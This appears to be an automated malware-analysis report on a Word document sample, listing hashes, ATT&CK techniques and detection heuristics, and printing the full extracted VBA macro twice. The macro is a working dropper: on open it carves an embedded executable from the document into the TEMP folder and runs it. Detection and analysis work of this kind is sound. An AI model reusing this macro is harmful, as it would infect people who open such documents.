Office (OLE) malware analysis — malicious · b12aef4ef587ef76

MALICIOUS

Office (OLE)

34.0 KB Created: 1999-12-12 10:32:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14

MD5: 05b04255c90ae48bd66014c0155fe2a6 SHA-1: b4691bfc7211d649ee1f74ff5b20466b30133424 SHA-256: b12aef4ef587ef760d0cb7393b7a7b6202943a8579089f821ca158d229c0250c

188 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen subroutine, which is a common technique for executing malicious code upon opening the document. The script attempts to write a second-stage executable named 'setupzxx.exe' to the temporary directory and then execute it using the Shell() function. The presence of Shell() and AutoOpen macros, along with the critical heuristic firing for Shell() execution, strongly indicates a downloader or dropper functionality.

Heuristics 6

VBA macros detected medium 4 related findings OLE_VBA_MACROS

Document contains VBA macro code
Shell() call in VBA critical OLE_VBA_SHELL

Shell() call in VBA
AutoOpen macro high OLE_VBA_AUTOOPEN

AutoOpen macro
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Environ() call (env variable access) low OLE_VBA_ENVIRON

Environ() call (env variable access)
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1810 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	1810 bytes
SHA-256: `561fe62a413282b9a69921ec261fb62bdf8f8e6dde15afb76eec0b366bcab2b3`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "SomeMacros" Sub AutoOpen() 'rename to AutoOpen Dim filebuffer(511) As Byte, tempChar As Byte, id(23) As Byte Dim retval As Long, x As Long, xpos As Long, afile As String id(0) = 118 id(1) = 115 id(2) = 57 id(3) = 48 id(4) = 51 id(5) = 50 id(6) = 109 id(7) = 102 id(8) = 55 id(9) = 56 id(10) = 52 id(11) = 53 id(12) = 106 id(13) = 118 id(14) = 48 id(15) = 115 id(16) = 100 id(17) = 109 id(18) = 52 id(19) = 57 id(20) = 99 id(21) = 100 id(22) = 103 id(23) = 216 Open ActiveDocument.FullName For Binary Access Read As #1 x = 0 retval = LOF(1) If retval < 48000 Then Exit Sub If retval > 72000 Then retval = retval - 72000 Else retval = 1 Seek #1, retval Do Get #1, , tempChar If tempChar = id(x) Then x = x + 1 Else x = 0 Loop Until EOF(1) Or x = 24 If x <> 24 Then Close #1 Exit Sub End If afile = Environ("TEMP") If afile = "" Then afile = Environ("windir") If afile = "" Then afile = "c:" If Right(afile, 1) <> "\" Then afile = afile + "\" afile = afile + "setupzxx.exe" Get #1, , retval Open afile For Binary Access Write As #2 Do Get #1, , filebuffer If retval >= 512 Then Put #2, , filebuffer retval = retval - 512 Else x = 0 Do tempChar = filebuffer(x) Put #2, , tempChar x = x + 1 retval = retval - 1 Loop Until retval = 0 End If Loop Until retval = 0 Close #2 Close #1 retval = Shell(afile, vbNormalFocus) End Sub

SHA-256: 561fe62a413282b9a69921ec261fb62bdf8f8e6dde15afb76eec0b366bcab2b3

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "SomeMacros"
Sub AutoOpen() 'rename to AutoOpen
Dim filebuffer(511) As Byte, tempChar As Byte, id(23) As Byte
Dim retval As Long, x As Long, xpos As Long, afile As String
id(0) = 118
id(1) = 115
id(2) = 57
id(3) = 48
id(4) = 51
id(5) = 50
id(6) = 109
id(7) = 102
id(8) = 55
id(9) = 56
id(10) = 52
id(11) = 53
id(12) = 106
id(13) = 118
id(14) = 48
id(15) = 115
id(16) = 100
id(17) = 109
id(18) = 52
id(19) = 57
id(20) = 99
id(21) = 100
id(22) = 103
id(23) = 216
Open ActiveDocument.FullName For Binary Access Read As #1
x = 0
retval = LOF(1)
If retval < 48000 Then Exit Sub
If retval > 72000 Then retval = retval - 72000 Else retval = 1
Seek #1, retval
Do
    Get #1, , tempChar
    If tempChar = id(x) Then x = x + 1 Else x = 0
Loop Until EOF(1) Or x = 24
If x <> 24 Then
Close #1
Exit Sub
End If
afile = Environ("TEMP")
If afile = "" Then afile = Environ("windir")
If afile = "" Then afile = "c:"
If Right(afile, 1) <> "\" Then afile = afile + "\"
afile = afile + "setupzxx.exe"
Get #1, , retval
Open afile For Binary Access Write As #2
Do
    Get #1, , filebuffer
    If retval >= 512 Then
        Put #2, , filebuffer
        retval = retval - 512
    Else
        x = 0
        Do
            tempChar = filebuffer(x)
            Put #2, , tempChar
            x = x + 1
            retval = retval - 1
        Loop Until retval = 0
    End If
Loop Until retval = 0
Close #2
Close #1
retval = Shell(afile, vbNormalFocus)
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.